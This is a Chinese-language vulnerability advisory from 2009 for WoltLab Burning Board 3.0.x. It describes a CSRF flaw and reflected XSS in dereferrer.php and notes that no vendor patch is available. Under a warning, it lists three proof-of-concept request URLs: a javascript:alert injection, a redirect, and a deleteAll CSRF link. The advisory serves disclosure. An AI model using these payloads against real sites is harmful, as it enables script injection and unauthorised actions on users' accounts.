发布日期：2009-03-09
更新日期：2009-03-16

受影响系统：

Woltlab Burning Board 3.0.x

描述：

---

BUGTRAQ  ID: 34057

WoltLab Burning Board是一款可自定义的论坛程序。

WoltLab Burning Board没有执行任何有效性检查便允许用户通过HTTP请求执行某些操作，如果登录用户访问了恶意网页便可以将保密消息移动到回收站。

WoltLab Burning Board的wcf/acp/dereferrer.php模块没有验证对url参数的输入便返回给了用户，远程攻击者可以通过提交恶意请求导致在用户浏览器会话中执行任意HTML和脚本代码。

<*来源：Juri Gianni （staker@hotmail.it）
  
  链接：http://secunia.com/advisories/34220/
        http://milw0rm.com/exploits/8183
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/[path]/wcf/acp/dereferrer.php?url=javascript:alert("Example");
http://www.example.com/[path]/wcf/acp/dereferrer.php?url=http://[host]
http://www.example.com/[path]/wbb/?page=ThreadAction&amp;action=deleteAll&amp;boardID=1&amp;url=[local URL]

建议：

---

厂商补丁：

Woltlab
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.woltlab.de/en/projects.php?id=1

浏览次数：3474
严重程度：0（网友投票）